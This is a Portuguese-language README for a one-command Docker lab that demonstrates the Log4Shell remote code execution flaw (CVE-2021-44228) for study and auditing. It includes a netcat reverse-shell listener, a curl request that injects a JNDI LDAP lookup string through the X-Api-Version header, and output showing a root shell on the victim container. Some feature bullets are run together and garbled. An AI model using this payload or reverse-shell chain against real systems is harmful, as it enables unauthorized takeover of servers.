
Laboratório automatizado Plug & Play em Docker para auditar e estudar a vulnerabilidade Log4Shell (CVE-2021-44228)
Um laboratório de pesquisa em segurança automatizado, com um único comando, projetado para demonstrar e auditar a vulnerabilidade de Execução Remota de Código (RCE) Log4Shell (CVE-2021-44228).
Este projeto consolida todos os componentes necessários (aplicação vulnerável, servidor de referência LDAP malicioso e ferramentas do atacante) em uma infraestrutura de rede unificada e isolada usando Docker Compose.
.env ou alinhamento de rede necessários. Tudo se resolve automaticamente via DNS interno do Docker.UnsupportedClassVersionError.configurar.sh) que automatiza a remoção de contêineres, limpeza de cache e reconstruções.O laboratório cria uma rede bridge isolada (red-log4shell) com três atores principais:
web-vulnerable): Uma aplicação web Spring Boot utilizando uma versão vulnerável e sem mitigação do Log4j (2.14.1) rodando em Java 8u111.ldap-malicioso): Alimentado por marshalsec para interceptar requisições de lookup recebidas e redirecionar dinamicamente a vítima para o payload do atacante.kali-tools): Um contêiner Kali Linux personalizado hospedando um servidor HTTP Python para entregar o payload compilado do exploit (Exploit.class) e um listener Netcat para capturar a reverse shell.Para implantar este laboratório em qualquer máquina Linux com Docker instalado, execute os seguintes comandos no seu terminal:
# 1. Clone the repository
git clone https://github.com/MAFO-sec/mi-laboratorio-log4shell.git
# 2. Navigate to the project directory
cd mi-laboratorio-log4shell
# 3. Grant execution permissions to the script manager and launch the lab
chmod +x configurar.sh
./configurar.sh
🚀 Como Explorar (Passo a Passo)
Once the infrastructure is automatically up and running via the script, follow these steps to trigger the exploit and capture the reverse shell. Passo 1: Configurar o Listener Netcat
Abra um novo terminal na sua máquina host (Ubuntu) e anexe ao contêiner do atacante para colocar o Netcat em espera para conexões recebidas: Bash
sudo docker exec -it kali-tools bash
Dentro do contêiner Kali, inicie o listener: Bash
nc -lvnp 4444
Você verá a mensagem: listening on [any] 4444 ... Passo 2: Lançar o Vetor de Ataque
Abra outro terminal separado na sua máquina host e envie a string de injeção JNDI maliciosa embutida no cabeçalho X-Api-Version: Bash
curl http://localhost:8080/ -H 'X-Api-Version: ${jndi:ldap://ldap-malicioso:1389/Exploit}'
Passo 3: Verificar a Reverse Shell
Volte ao seu terminal Netcat. Você deve ver uma conexão ativa. Agora você pode executar comandos como root dentro do servidor vítima: Bash
connect to [172.21.0.4] from (UNKNOWN) [172.21.0.2] 57164 whoami root
Este repositório foi criado estritamente para fins educacionais, pesquisa em segurança e auditoria acadêmica autorizada. Nunca execute estas ferramentas ou ataque infraestruturas sem autorização prévia e explícita por escrito dos proprietários da infraestrutura.